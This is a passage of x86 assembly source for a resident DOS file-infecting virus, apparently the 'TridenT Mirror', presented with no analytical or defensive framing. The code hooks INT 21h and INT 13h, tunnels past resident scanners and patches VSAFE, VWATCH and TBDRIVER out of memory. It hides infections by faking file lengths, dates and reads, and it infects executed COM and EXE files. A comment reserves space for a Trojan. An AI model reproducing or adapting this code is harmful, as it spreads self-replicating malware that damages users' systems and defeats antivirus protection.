umb_strat db (?)
|
||
comflag db 1 ; 1=host is a COM-file
|
||
generation dw 0
|
||
|
||
;------- check activation circumstances ------------------------------------
|
||
|
||
lab1: cli
|
||
mov [bp+ds_merk],ds ; store original segments here
|
||
|
||
cld
|
||
push cs ; setup registers
|
||
pop ds
|
||
|
||
mov ax,4bf0h ; Are we resident in memory ?
|
||
xor di,di
|
||
int DOS_N
|
||
cmp di,itsme
|
||
jne lab32
|
||
jmp restore_com ; Yes, we are -> exit
|
||
|
||
lab32: mov ah,30h ; Dos-Version ?
|
||
int DOS_N
|
||
cmp al,5
|
||
jae lab4
|
||
jmp restore_com ; exit when < 5.0
|
||
|
||
lab4: mov ah,04h ; enable virus [Monat] 1994
|
||
int 1ah
|
||
jc lab5
|
||
cmp cx,1996h
|
||
jae lab5
|
||
cmp dh,monat
|
||
jae lab5
|
||
jmp restore_com
|
||
|
||
lab5: call killscan ; kill VSAFE/VWATCH
|
||
|
||
mov ah,0eh ; search or SDScan Novell Dos 7.0
|
||
mov dl,0adh
|
||
int DOS_N
|
||
cmp al,0bah
|
||
jne initvir
|
||
|
||
jmp restore_com ; Scanner active ==> Exit
|
||
|
||
;---------------------------------------------------------------------------
|
||
|
||
dowirt: mov ax,[bp+ds_merk]
|
||
mov ds,ax ; restore DS/ES
|
||
mov es,ax
|
||
cmp [bp+comflag],1 ; Is host a COM file ?
|
||
je do2
|
||
|
||
mov ax,es
|
||
add ax,[bp+cs_merk] ; old codesegment in vector
|
||
add ax,16
|
||
mov word ptr [bp+wirt],ax
|
||
mov sp,[bp+sp_merk] ; restore stack
|
||
mov ax,es
|
||
add ax,cs:[bp+ss_merk]
|
||
add ax,16
|
||
mov ss,ax
|
||
jmp short do3
|
||
|
||
do2: mov ax,cs
|
||
mov cs:[bp+wirt],ax
|
||
do3: xor ax,ax ; Important ! All Registers have to be ZERO
|
||
mov bx,ax
|
||
mov cx,ax
|
||
mov dx,ax
|
||
mov si,ax
|
||
mov di,ax
|
||
sti
|
||
|
||
jmp dword ptr cs:[bp+ip_merk] ; jump to host
|
||
|
||
;---- Allocate memory for virus --------------------------------------
|
||
|
||
initvir: mov ax,[bp+ds_merk] ; free memory
|
||
mov es,ax ; start segment to ES
|
||
mov bx,[bp+min_mem] ; amount needed for virus
|
||
mov ah,4ah ; change memory allocation
|
||
int DOS_N
|
||
jae init11
|
||
jmp restore_com
|
||
|
||
init11: push cs
|
||
pop es
|
||
mov byte ptr [bp+notarn],0 ; enable stealth functions
|
||
mov byte ptr [bp+virtod],0
|
||
|
||
;--- get free block in the TOM -----------------
|
||
|
||
mov ax,5800h ; get allocation strategy
|
||
int DOS_N
|
||
mov [bp+mem_strat],ax ; und store it
|
||
|
||
mov ax,5802h ; get UMB Status
|
||
int DOS_N ; DOS<5.0 C=1,AX=1
|
||
jae init1
|
||
jmp restore_com
|
||
|
||
init1: mov [bp+umb_strat],al ; store it
|
||
|
||
mov ax,5801h ; set new strategy
|
||
mov bx,0000000000000010b ; Last Block, search in TPA only
|
||
int DOS_N
|
||
mov ax,5803h ; disable usage of UMB
|
||
mov bx,0
|
||
int DOS_N
|
||
mov bx,(((virende-start+100) shr 4) +33) ; Virus in Paragr.
|
||
; + place to store Trojan
|
||
mov ah,48h ; allocate RAM for virus
|
||
int DOS_N
|
||
jc resetall
|
||
push ax ; store allocated segment
|
||
dec ax
|
||
mov es,ax ; ES to MCB of alloc. memory
|
||
inc ax
|
||
|
||
mov word ptr es:[0],"Z"
|
||
mov word ptr es:[1],8 ; make us resident as part of DOS
|
||
|
||
|
||
mov ax,3521h ; get old INT 21h
|
||
int DOS_N
|
||
mov word ptr [bp+int21alt],bx
|
||
mov word ptr [bp+int21alt+2],es
|
||
|
||
mov word ptr [bp+OrgDos],bx ; if tracer failed :(
|
||
mov word ptr [bp+OrgDos+2],es
|
||
|
||
call TunnelIt ; trace the INT 21h vector
|
||
cmp ax,0ffh ; have we found the vector ?
|
||
je notun
|
||
|
||
mov word ptr [bp+OrgDos+2],es ; store the new entry
|
||
mov word ptr [bp+OrgDos],ax
|
||
|
||
notun: mov ax,3513h ; get old BIOS interrupt 13h
|
||
int DOS_N
|
||
mov word ptr [bp+int13alt],bx
|
||
mov word ptr [bp+int13alt+2],es
|
||
|
||
pop es ; get back virus-segment
|
||
push es
|
||
mov si,offset start
|
||
add si,bp
|
||
mov di,100h
|
||
mov cx,offset (virende-start)
|
||
rep movsb ; Copy the virus to TOM
|
||
|
||
mov dx,offset int21 ; hook INT21h to virus handler
|
||
mov ax,2521h
|
||
pop ds ; get back virus segment
|
||
int DOS_N
|
||
|
||
mov dx,offset int13 ; hook BIOS-Interrupt to virus handler
|
||
mov ax,2513h
|
||
int DOS_N
|
||
|
||
resetall: push cs
|
||
pop ds
|
||
|
||
push [bp+ds_merk] ; restore memory allocation
|
||
pop es
|
||
mov bx,0ffffh
|
||
mov ah,4ah
|
||
int DOS_N
|
||
mov ah,4ah
|
||
int DOS_N
|
||
|
||
mov bl,[bp+umb_strat] ; restore old UMB strategy
|
||
xor bh,bh
|
||
mov ax,5803h
|
||
int DOS_N
|
||
|
||
mov bx,[bp+mem_strat] ; Alte Strategie zur<75>ck
|
||
mov ax,5801h
|
||
int DOS_N
|
||
|
||
; restore orinal JUMP to host
|
||
|
||
restore_com: cmp [bp+comflag],1 ; is it a COM file ?
|
||
jne initende
|
||
|
||
mov di,[bp+ip_merk] ; build up traget adress
|
||
|
||
mov si,offset combytes ; restore original bytes to host
|
||
add si,bp ; only necessary if .com - EXE has a direct
|
||
mov cx,sprbef ; vector.
|
||
rep movsb
|
||
|
||
initende: jmp dowirt
|
||
|
||
; --------- Kill VSAFE and VWATCH and TBDRIVER -------------------
|
||
; you can use this function from the resident part of virus too
|
||
|
||
killscan proc near
|
||
|
||
push es
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
|
||
mov ax,0fa00h ; Vsafe resident ?
|
||
mov dx,5945h
|
||
int 16h
|
||
cmp di,4559h
|
||
jne ks1
|
||
|
||
mov ax,0fa02h
|
||
mov dx,5945h
|
||
mov bl,0
|
||
int 16h ; get old flags to CL
|
||
|
||
and cl,23 ; disable only parts of scanner
|
||
mov bl,cl ; because the full deinstallation causes
|
||
mov ax,0fa02h ; warnings
|
||
mov dx,5945h
|
||
int 16h
|
||
|
||
ks1: push ds
|
||
xor ax,ax
|
||
mov ds,ax
|
||
les si,ds:[21h*4] ; get INT 21h handler
|
||
pop ds
|
||
mov ax,word ptr es:[si] ; get first two instructions of INT 21h
|
||
cmp ax,05ebh ; Is it that fucking TBDRIVER ?
|
||
jne ks2
|
||
mov word ptr es:[si],9090h ; Bomb it out of memory !!!
|
||
|
||
; This works because there is a far-jump to DOS directly behind
|
||
; the near jump to the scanner
|
||
|
||
ks2: pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
pop es
|
||
ret
|
||
|
||
killscan endp
|
||
|
||
;**************************************************************************
|
||
;*** INT 21h Tracer to locate the entry of DOS ***
|
||
;*** Setting up some parameters for the tracing routine ***
|
||
;**************************************************************************
|
||
|
||
; INPUT : none
|
||
; OUTPUT : Original-DOS-vektor in ES:AX
|
||
|
||
Tunnelit PROC NEAR
|
||
|
||
mov ah, 52h ; get the DIB adresse
|
||
int DOS_N
|
||
jc tuend
|
||
mov ax,es:[bx-2] ; vector to first MCB -> ES:AX
|
||
mov word ptr [bp+dos_seg],ax ; here is the DOS segment
|
||
|
||
xor ax,ax ; ES=0
|
||
mov es,ax
|
||
les ax, es:[1*4] ; store original INT 1
|
||
mov word ptr [bp+oldint1], ax
|
||
mov word ptr [bp+oldint1+2], es
|
||
|
||
mov cs:[bp+sflag],0
|
||
mov word ptr cs:[bp+deltaoff],bp ; set up delta offset
|
||
|
||
cli
|
||
xor ax,ax ; hook INT 1 to tracer
|
||
mov es,ax
|
||
mov bx,offset int1 ; delta Offset!
|
||
add bx,bp
|
||
mov word ptr es:[1*4],bx
|
||
mov es:[1*4+2],cs
|
||
sti
|
||
|
||
pushf ; enable single step
|
||
pop ax ; by setting the T-Flag
|
||
or ah,1
|
||
push ax
|
||
popf
|
||
|
||
mov ah,0bh ; get keyboardstatus to find
|
||
cli ; the entry
|
||
pushf
|
||
call dword ptr cs:[bp+int21alt]
|
||
|
||
pushf ; single step off
|
||
pop ax ; AX=FF if tracer failed
|
||
and ax,0feffh
|
||
push ax
|
||
popf
|
||
|
||
cli ; restore old Int 1
|
||
push ds
|
||
xor ax,ax
|
||
mov ds,ax
|
||
les ax, cs:[bp+oldint1]
|
||
mov word ptr ds:[1*4], ax
|
||
mov word ptr ds:[1*4+2], es
|
||
pop ds
|
||
sti
|
||
|
||
cmp [bp+sflag],1 ; was tracing successful ?
|
||
jne nosuccess
|
||
|
||
mov ax,word ptr [bp+oldint21+2]
|
||
mov es,ax
|
||
mov ax,word ptr [bp+oldint21]
|
||
|
||
tuend: ret
|
||
|
||
nosuccess: mov ax,0ffh ; nope, we have no entry :(
|
||
|
||
jmp short tuend
|
||
|
||
oldint1 dd ?
|
||
oldint21 dd ?
|
||
sflag db 0
|
||
dos_seg dw ?
|
||
|
||
Tunnelit ENDP
|
||
|
||
;**************************************************************************
|
||
;*** Single Step interrupt routine ***
|
||
;*** Tries to find the original entry of the DOS to fool reesident ***
|
||
;*** scanners ***
|
||
;**************************************************************************
|
||
|
||
int1 PROC FAR
|
||
|
||
push bp
|
||
mov bp,sp
|
||
push ax
|
||
push si
|
||
db 0BEh ; mov si, deltaoff
|
||
deltaoff dw (?)
|
||
mov ax, [bp+4] ; get segment of return adress
|
||
cmp ax,cs:[si+dos_seg] ; is it in the DOS segement ?
|
||
jbe foundit
|
||
|
||
ex_int1:pop si
|
||
pop ax
|
||
pop bp
|
||
iret
|
||
|
||
foundit: ; yes, we've found the entry
|
||
mov word ptr cs:[si+OldInt21+2],ax ; store segment (bp+4)
|
||
mov ax,[bp+2]
|
||
mov word ptr cs:[si+OldInt21],ax ; store offset
|
||
mov cs:[si+sflag],1
|
||
and word ptr [bp+6], 0FEFFh ; Tracing off
|
||
jmp short ex_int1
|
||
|
||
INT1 ENDP
|
||
|
||
;****************************************************************************
|
||
;**** Interrupt 21 Handler ****
|
||
;****************************************************************************
|
||
|
||
|
||
;--- Variables :
|
||
|
||
psp equ 0 ; ununsed PSP for buffer
|
||
|
||
; --- Interruptvektors ---
|
||
|
||
crbreak dd (?) ; Old Critical-Error-INT
|
||
int21alt dd (?) ; Old Dos-Interrupt
|
||
int13alt dd (?) ; Old BIOS-Interrupt
|
||
OrgDos dd (?) ; Original-DOS-Interrupt
|
||
|
||
; --- Variables ---
|
||
|
||
nam_off dw (?) ; filename offset
|
||
nam_seg dw (?) ; filename segment
|
||
dtaseg dw (?) ; segment of DTA
|
||
dtaoff dw (?) ; offset of DTA
|
||
d_datum dw (?) ; file date
|
||
d_zeit dw (?) ; time of last change
|
||
d_attrib dw (?) ; old files attributes
|
||
handle dw (?) ; file handle
|
||
ret_off dw (?)
|
||
|
||
; --- Flags ---
|
||
|
||
internal db 0 ; indicates internal usage of routines
|
||
flag db 0 ; allround flag
|
||
virtod db 0 ; 1=Virus is disabled
|
||
notarn db 0 ; 1=Stealth functions disabled
|
||
|
||
|
||
comsuff db "*.com",0
|
||
|
||
;----------------------------------------------------------------------------
|
||
|
||
cint proc far ; Critical-Error-INT
|
||
; to prevent virus from generating errors
|
||
sti ; during access on write proteted disks
|
||
mov al,3
|
||
iret
|
||
|
||
cint endp
|
||
|
||
;----------------------------------------------------------------------------
|
||
|
||
int21 PROC FAR ; new INT 21 handler
|
||
|
||
IF STEALTH
|
||
cmp ah,4bh ; Exec-Interrupt ?
|
||
jne check_stealth ; no, let's check stealth
|
||
|
||
ELSE
|
||
cmp ah,4bh
|
||
jne aus2
|
||
ENDIF
|
||
|
||
is_exec: cmp al,0f0h ; virus self check
|
||
je rescheck
|
||
cmp al,05h ; ignore special exec functions
|
||
je aus2
|
||
cmp al,03h
|
||
je aus2
|
||
|
||
mov cs:[internal],0 ; internal usage of INT 21 handler
|
||
jmp exec ; yeah, it's the exec function
|
||
|
||
rescheck: mov di,itsme ; its me -> return to caller
|
||
iret
|
||
|
||
aus2: jmp cs:[int21alt] ; jump to original INT 21h
|
||
|
||
|
||
;=== Handler for stealth functions of INT 21h ====================
|
||
|
||
IF STEALTH
|
||
|
||
check_stealth:
|
||
cmp cs:[virtod],1 ; Ist Virus disabled ?
|
||
je aus
|
||
cmp cs:[notarn],1 ; Is Stealth shield disabled ?
|
||
je aus
|
||
|
||
cmp ah,4eh ; Find-First (Handle) ?
|
||
jne chk_hdl
|
||
jmp ff_hdl
|
||
|
||
chk_hdl: cmp ah,4fh ; Find-Next (Handle) ?
|
||
jne chk_fcb
|
||
jmp ff_hdl
|
||
|
||
chk_fcb: cmp ah,11h ; Find-First (FCB) ?
|
||
je firstnext
|
||
cmp ah,12h ; Find-Next (FCB) ?
|
||
je firstnext
|
||
|
||
jmp short holdat ; no, continue check
|
||
|
||
; ---- date/time fooling ---------------------------------------
|
||
|
||
holdat: cmp ax,5700h ; is someone asking on date/time of afile?
|
||
jne schieb_zeiger
|
||
jmp deal_dat
|
||
|
||
schieb_zeiger: ; maybe a movement of file pointer?
|
||
|
||
cmp ah,42h
|
||
jne read_3f
|
||
jmp deal_zeiger
|
||
|
||
read_3f: ; a file read function ?
|
||
cmp ah,3fh
|
||
jne aus
|
||
jmp deal_read
|
||
|
||
aus: jmp cs:[int21alt] ; jump to old interrupt
|
||
|
||
ENDIF
|
||
|
||
int21 endp
|
||
|
||
;------------------------ Handler-Bodies --------------------------------------------------
|
||
|
||
IF STEALTH
|
||
|
||
ff_hdl proc near ; handle find-first-next (handle)
|
||
|
||
pushf ; call function first
|
||
call cs:[int21alt]
|
||
|
||
jc ngef ; any files found ?
|
||
jmp short findfn1
|
||
ngef: retf 2
|
||
|
||
findfn1: call pushall ; save all registers
|
||
|
||
mov ah,2fh ; get DTA adress to ES:BX
|
||
int DOS_N
|
||
mov ax,es:[bx+18h] ; get date of file
|
||
and ax,1111111000000000b ; mask out the month
|
||
mov cl,9
|
||
shr ax,cl
|
||
cmp ax,90d ; compare with 90
|
||
jna findfnende ; year < 90 -> file is clean
|
||
|
||
sub word ptr es:[bx+26],(virende-start) ; shrink filelength
|
||
sbb word ptr es:[bx+28],0
|
||
|
||
sub word ptr es:[bx+18h],1100100000000000b ; date=date-100 years
|
||
|
||
findfnende: call popall
|
||
|
||
retf 2
|
||
|
||
ff_hdl endp
|
||
|
||
;---------------------------------------------------------------------------
|
||
|
||
firstnext proc near ; handle the fcb functions
|
||
|
||
pushf ; call function
|
||
call cs:[int21alt]
|
||
|
||
call pushall
|
||
cmp al,255 ; any files found ?
|
||
jne continue
|
||
jmp short fcbende ; no, then exit
|
||
|
||
continue: mov ah,2fh ; get DTA adress to ES:BX
|
||
int DOS_N
|
||
|
||
cmp byte ptr es:[bx],255 ; is it a large FCB ?
|
||
je erwfcb
|
||
|
||
mov si,19h ; date entry (secret DOS)
|
||
mov di,1dh ; filelength (secret DOS)
|
||
jmp short normfcb
|
||
|
||
erwfcb: mov si,20h ; date entry (secret DOS)
|
||
mov di,24h ; filelength
|
||
|
||
normfcb: mov ax,es:[bx+si] ; get file and date stamps
|
||
and ax,1111111000000000b ; mask out the month
|
||
mov cl,9
|
||
shr ax,cl
|
||
cmp ax,90d ; compare with 90
|
||
jna fcbende ; year < 90 -> file is clean
|
||
|
||
sub word ptr es:[bx+di],(virende-start) ; change date/length
|
||
sbb word ptr es:[bx+di+2],0
|
||
|
||
sub word ptr es:[bx+di-7],(virende-start)
|
||
sbb word ptr es:[bx+di-7+2],0
|
||
sub word ptr es:[bx+si],1100100000000000b
|
||
|
||
fcbende: call popall
|
||
|
||
retf 2
|
||
|
||
firstnext endp
|
||
|
||
;----------------------------------------------------------------------------
|
||
|
||
deal_dat proc near
|
||
|
||
pushf
|
||
call cs:[int21alt]
|
||
|
||
pushf ; don't save DX, it holds the date
|
||
push ax
|
||
push cx
|
||
|
||
mov ax,dx
|
||
and ax,1111111000000000b ; mask out month
|
||
mov cl,9
|
||
shr ax,cl
|
||
cmp ax,90 ; compare with 90 years
|
||
jna deal_datende ; year<90 -> file is clean
|
||
|
||
sub dx,1100100000000000b ; subtract 100 years
|
||
|
||
deal_datende:
|
||
pop cx
|
||
pop ax
|
||
popf
|
||
|
||
retf 2
|
||
deal_dat endp
|
||
|
||
;---------------------------------------------------------------------------
|
||
|
||
; Don't let the file pointer hit the virus
|
||
|
||
deal_zeiger proc near
|
||
|
||
cmp al,02h ; handle funktion 2 only
|
||
jne zg_do_function
|
||
or cx,dx
|
||
jne zg_do_function
|
||
|
||
call pruefinf ; file infected ?
|
||
jae zg_do_function
|
||
|
||
mov cx,0ffffh
|
||
mov dx,-(virende-start) ; subtract virus size
|
||
pushf
|
||
call cs:[int21alt]
|
||
|
||
retf 2 ; and exit
|
||
|
||
zg_do_function:
|
||
jmp cs:[int21alt]
|
||
|
||
deal_zeiger endp
|
||
|
||
; ---------------------------------------------------------------------------
|
||
; funktion deal_read: Filters the virus on file access. The memory image is
|
||
; clean. Virus contains the original header bytes at his end.
|
||
|
||
rd_handle dw (?) ; file handle
|
||
rd_bytes dw (?) ; amount of bytes to read
|
||
|
||
rd_aktpos_lo dw (?) ; actual file pointer position
|
||
rd_aktpos_hi dw (?)
|
||
rd_endpos_lo dw (?)
|
||
rd_endpos_hi dw (?)
|
||
rd_virpos_lo dw (?)
|
||
rd_virpos_hi dw (?)
|
||
rd_es_merk dw (?)
|
||
rd_ds_merk dw (?)
|
||
rd_funktion dw (?)
|
||
rd_error_msg dw (?)
|
||
rd_puffer_off dw (?)
|
||
rd_bytes_read dw (?)
|
||
|
||
deal_read proc near
|
||
|
||
cmp bx,5 ; Ist es file handle or a device ?
|
||
jae dlrd1
|
||
jmp do_read2
|
||
|
||
dlrd1:
|
||
call pruefinf ; is file infected ?
|
||
jae do_read2
|
||
|
||
mov cs:[rd_ds_merk],ds
|
||
push cs
|
||
pop ds
|
||
mov [rd_funktion],ax
|
||
mov [rd_handle],bx
|
||
mov [rd_bytes],cx
|
||
mov [rd_puffer_off],dx
|
||
mov [rd_es_merk],es
|
||
jmp dlrd2
|
||
|
||
; restore all regs and do the read
|
||
do_read0: mov cx,cs:[rd_bytes] ; restore old CX
|
||
|
||
; restore all regs exept for cx and do the read
|
||
do_read1:
|
||
mov bx,cs:[rd_handle]
|
||
mov dx,cs:[rd_puffer_off]
|
||
mov ax,cs:[rd_es_merk]
|
||
mov es,ax
|
||
mov ax,cs:[rd_ds_merk]
|
||
mov ds,ax
|
||
mov ax,cs:[rd_funktion]
|
||
|
||
; don't restore regs and do the read
|
||
do_read2: jmp cs:[int21alt]
|
||
|
||
; return to caller with restored regs exept for ax
|
||
do_ret1:
|
||
mov cx,cs:[rd_bytes]
|
||
mov dx,cs:[rd_puffer_off]
|
||
mov bx,cs:[rd_es_merk]
|
||
mov es,bx
|
||
mov bx,cs:[rd_ds_merk]
|
||
mov ds,bx
|
||
mov bx,cs:[rd_handle]
|
||
|
||
;return to caller without restored regs
|
||
do_ret2:
|
||
retf 2
|
||
|
||
dlrd2: mov ax,4201h ; get file pointer position
|
||
xor cx,cx
|
||
xor dx,dx
|
||
pushf
|
||
call cs:[int21alt]
|
||
jc do_read0
|
||
|
||
mov [rd_aktpos_lo],ax ; store it
|
||
mov [rd_aktpos_hi],dx
|
||
|
||
add ax,[rd_bytes] ; calc endposition of file pointer
|
||
adc dx,0
|
||
mov [rd_endpos_lo],ax
|
||
mov [rd_endpos_hi],dx
|
||
|
||
mov ax,4202h ; get original filesize
|
||
xor cx,cx
|
||
xor dx,dx
|
||
pushf
|
||
call cs:[int21alt]
|
||
|
||
sub ax,(virende-start)
|
||
sbb dx,0
|
||
mov [rd_virpos_lo],ax ; store the original size
|
||
mov [rd_virpos_hi],dx
|
||
|
||
mov ax,4200h
|
||
mov cx,[rd_aktpos_hi]
|
||
mov dx,[rd_aktpos_lo]
|
||
pushf
|
||
call cs:[int21alt]
|
||
|
||
jae rdmk1
|
||
jmp do_read0
|
||
|
||
; Now we have to make a few decisions where the pointer is and what
|
||
; to do that he does not hit the virus body
|
||
|
||
rdmk1: mov ax,[rd_aktpos_lo] ; aktpos < 1dh
|
||
cmp ax,1dh
|
||
|
||
jb fall_1 ; pointer is in the header -> case 1
|
||
|
||
mov bx,[rd_aktpos_hi] ; aktpos < virpos ?
|
||
les cx,dword ptr [rd_virpos_lo]
|
||
mov dx,es ; DX:CX = aktpos
|
||
call comp_32bit
|
||
jb fall_2 ; pointer is in the host -> case 2
|
||
|
||
jmp fall_3 ; pointer is in the virus -> case 3
|
||
|
||
|
||
; more decisions........
|
||
|
||
fall_1: ;--- pointer is in the header ----
|
||
|
||
les ax,dword ptr [rd_endpos_lo]; Endpos in header(endpos<1dh) ?
|
||
mov bx,es ; BX:AX = Endpos
|
||
xor dx,dx
|
||
mov cx,1dh
|
||
call comp_32bit ; caller is going to....
|
||
jb fall_11 ; read header only
|
||
|
||
les cx,dword ptr [rd_virpos_lo]
|
||
mov dx,es ; DX:CX = Virpos
|
||
call comp_32bit
|
||
jb fall_12 ; read header-host
|
||
|
||
jmp fall_13 ; read header-host-virus
|
||
|
||
fall_2: ; -- pointer is in the host ----
|
||
|
||
les ax,dword ptr [rd_endpos_lo] ; Endpos < Virpos ?
|
||
mov bx,es ; BX:AX = end_pos
|
||
les cx,dword ptr [rd_virpos_lo]
|
||
mov dx,es
|
||
call comp_32bit
|
||
jb hilf1 ; end position is in the host
|
||
jmp fall_22 ; endposition is in the virus
|
||
hilf1: jmp fall_21
|
||
|
||
fall_3: ; --- pointer is in the virus ----
|
||
|
||
mov ax,0 ; return with zero bytes to caller
|
||
clc
|
||
jmp do_ret1
|
||
|
||
; --- actions according to th 6 cases above
|
||
|
||
fall_11: ; --- caller is trying to read to header -----
|
||
|
||
mov dx,1ch ; how many bytes to read ?
|
||
sub dx,[rd_aktpos_lo]
|
||
push dx
|
||
neg dx ; negative offset
|
||
mov cx,0ffffh
|
||
mov al,02h
|
||
call set_pos ; set pointer to corresponding byte
|
||
; at the end of the virus where the
|
||
; original bytes are stored
|
||
|
||
mov dx,[rd_puffer_off] ; read the original bytes from there
|
||
mov cx,[rd_bytes]
|
||
mov bx,[rd_handle]
|
||
mov ah,3fh
|
||
push [rd_ds_merk] ; set DS to readbuffer
|
||
pop ds
|
||
pushf
|
||
call cs:[int21alt]
|
||
|
||
push cs
|
||
pop ds
|
||
mov cx,[rd_endpos_hi]
|
||
mov dx,[rd_endpos_lo]
|
||
mov al,0
|
||
call set_pos ; correct the pointer position
|
||
|
||
jmp do_ret1
|
||
|
||
fall_12: ; --- caller is trying to read header+host ---
|
||
|
||
mov cx,[rd_bytes]
|
||
cross: mov bx,[rd_handle] ; call read function
|
||
mov dx,[rd_puffer_off]
|
||
push [rd_ds_merk]
|
||
pop ds
|
||
mov ah,3fh
|
||
pushf
|
||
call cs:[int21alt]
|
||
jae f121
|
||
jmp do_ret1
|
||
|
||
f121: push cs ; DS=CS
|
||
pop ds
|
||
|
||
mov [rd_bytes_read],ax ; store readed bytes
|
||
|
||
mov dx,1ch ; how many bytes from the header should
|
||
sub dx,[rd_aktpos_lo] ; have been read ?
|
||
push dx
|
||
neg dx ; negative offset
|
||
mov cx,0ffffh
|
||
mov al,02h
|
||
call set_pos ; set pointer to correcpondig bytes
|
||
jae fall_12h1 ; behind the virus
|
||
pop cx ; restore stack
|
||
jmp reset_point ; restore file point and exit
|
||
|
||
fall_12h1:
|
||
pop cx ; cx=ax (numer of bytes to read)
|
||
push [rd_ds_merk]
|
||
pop ax ; get buffer segment
|
||
mov dx,[rd_puffer_off] ; increase memory pointer
|
||
add dx,[rd_aktpos_lo]
|
||
adc ax,0 ; take care of the carry flag
|
||
mov ds,ax
|
||
mov bx,cs:[rd_handle]
|
||
mov ah,3fh
|
||
pushf
|
||
call cs:[int21alt] ; read original header
|
||
jae fall_12h2
|
||
jmp reset_point
|
||
|
||
fall_12h2:
|
||
push cs
|
||
pop ds
|
||
|
||
mov cx,[rd_aktpos_hi] ; set pointer to new position
|
||
mov dx,[rd_aktpos_lo]
|
||
add dx,[rd_bytes_read]
|
||
adc cx,0
|
||
xor al,al
|
||
call set_pos
|
||
mov ax,[rd_bytes_read]
|
||
jmp do_ret1
|
||
|
||
fall_13: ; --- caller is trying to read header+host+virus
|
||
|
||
mov ax,[rd_virpos_lo] ; subtract virus bytes
|
||
sub ax,[rd_aktpos_lo]
|
||
|
||
mov cx,ax
|
||
jmp cross ; restore original cx
|
||
|
||
fall_21: ; --- caller is trying to read the host
|
||
|
||
jmp do_read0 ; no action necessary
|
||
|
||
fall_22: ; --- caller is trying to read host+virus
|
||
|
||
mov cx,[rd_virpos_lo] ; subtract virus bytes
|
||
sub cx,[rd_aktpos_lo]
|
||
push cx
|
||
mov bx,[rd_handle] ; do the read function
|
||
mov dx,[rd_puffer_off]
|
||
mov ah,3fh
|
||
push [rd_ds_merk]
|
||
pop ds
|
||
pushf
|
||
call cs:[int21alt]
|
||
pop cx
|
||
jmp do_ret2
|
||
|
||
; Compare two 32bit numbers
|
||
; INPUT no 1: BX:AX
|
||
; no 2: DX:CX
|
||
; Ausgabe:
|
||
; no 1=no 2 : ZF=1
|
||
; no 1>no 2 : CF=0,ZF=0
|
||
; no 1<no 2 : CF=1
|
||
|
||
comp_32bit:
|
||
|
||
cmp bx,dx ; compare hi words
|
||
ja comp_16end ; no 1 > no 2
|
||
jb comp_16end ; no 1 < no 2
|
||
cmp ax,cx ; HI-Words eqaul -> compare low-words
|
||
ja comp_16end ; no 1 > no 2
|
||
jb comp_16end ; no 2 < no 2
|
||
; else no 1 = no 2
|
||
comp_16end:
|
||
ret
|
||
|
||
; restores the original file pointer position and leaves the routine
|
||
; with error 'read 0 bytes'
|
||
|
||
reset_point:
|
||
mov dx,cs:[rd_aktpos_lo]
|
||
mov cx,cs:[rd_aktpos_hi]
|
||
xor al,al
|
||
call set_pos
|
||
xor ax,ax
|
||
clc
|
||
jmp do_ret1
|
||
|
||
; Routine to change pointer position
|
||
; INPUT : al=offset-code
|
||
; cx:dx = new position
|
||
|
||
set_pos:
|
||
push ax
|
||
push bx
|
||
push dx
|
||
|
||
mov ah,42h
|
||
mov bx,cs:[rd_handle]
|
||
pushf
|
||
call cs:[int21alt]
|
||
|
||
pop dx
|
||
pop bx
|
||
pop ax
|
||
|
||
ret
|
||
|
||
deal_read endp
|
||
|
||
ENDIF
|
||
|
||
;===========================================================================
|
||
|
||
INT13 PROC FAR ; INT 13h Handler
|
||
|
||
orgint: jmp cs:[int13alt]
|
||
|
||
INT13 ENDP
|
||
|
||
; *************************************************************************
|
||
; *** new function 4ch of int 21 ***
|
||
; *************************************************************************
|
||
|
||
exec proc near ; handle an exec call
|
||
; DS:DX pointer to filename
|
||
call pushall
|
||
|
||
mov cs:[internal],0 ; indicates call by foreign program
|
||
mov cs:[notarn],0 ; stealth on
|
||
|
||
call killscan ; kill scanners
|
||
jmp short exe0
|
||
|
||
exec1: call pushall ; entry for internal usage
|
||
mov cs:[internal],1 ; DS:DX pointer to filename
|
||
|
||
exe0: mov cs:[nam_off],dx ; store filename offset
|
||
mov cs:[nam_seg],ds ; and segment
|
||
|
||
mov cs:[flag],0 ; reset infection flag
|
||
|
||
push ds
|
||
push dx
|
||
call discrit ; disable error handler
|
||
exe01: pop dx
|
||
pop ds
|
||
|
||
mov ax,4300h ; get file attributes
|
||
int DOS_N
|
||
jae exe1
|
||
jmp exeaus2 ; exit on error
|
||
|
||
exe1: mov cs:[d_attrib],cx ; store attributes
|
||
test cx,100b ; is it a system file ?
|
||
je exe2
|
||
jmp exeaus2 ; yes? do not infect it
|
||
|
||
exe2: mov ax,4301h ; disable read-only attributes
|
||
and cx,1111111111111110b
|
||
pushf
|
||
call cs:[int21alt]
|
||
jae exe3
|
||
jmp exeaus
|
||
|
||
exe3: call fuck_scanner ; fuck scanner
|
||
|
||
mov ax,3d00h ; open file with read-only
|
||
pushf
|
||
call cs:[int21alt] ; ds:dx filename
|
||
jae exe4 ; access denied -> exit
|
||
jmp exeaus
|
||
|
||
exe4: mov bx,ax ; store handle in bx
|
||
|
||
push cs ; DS=CS
|
||
pop ds
|
||
|
||
mov [handle],bx
|
||
push bx
|
||
mov ax,1220h ; get the sft table
|
||
int 2fh
|
||
mov al,es:[di] ; necessary because scanners locate
|
||
mov bl,al ; the TridenT Mirror virus in memory
|
||
mov ax,1216h
|
||
int 2fh
|
||
pop bx
|
||
jae exe41
|
||
jmp fehler
|
||
|
||
exe41: mov word ptr es:[di+2],2 ; set file to read/write access
|
||
|
||
call pruefinf ; is file infected ?
|
||
jae exe5
|
||
jmp fehler
|
||
|
||
exe5: mov dx,psp ; read the original header to psp
|
||
mov cx,1ch
|
||
mov ah,3fh
|
||
int DOS_N
|
||
jc fehler
|
||
|
||
mov si,dx ; copy original header behind virus
|
||
mov cx,1ch ; for later memory stealth
|
||
mov di,offset orig_exehead
|
||
push cs
|
||
pop es
|
||
rep movsb
|
||
|
||
mov ax,4202h ; get the filesize by setting the
|
||
xor cx,cx ; pointer to end of file
|
||
xor dx,dx
|
||
pushf
|
||
call cs:[int21alt]
|
||
jae exe6
|
||
jmp short fehler ; exit on error
|
||
|
||
exe6: mov [org_filelng_lo],ax ; store lo-word o file length
|
||
mov [org_filelng_hi],dx ; hi-word also
|
||
|
||
exe8: cmp word ptr cs:[psp],5a4dh ; is it an exe file or a .com ?
|
||
jne exe9
|
||
exe80: call infektexe ; infect .exe
|
||
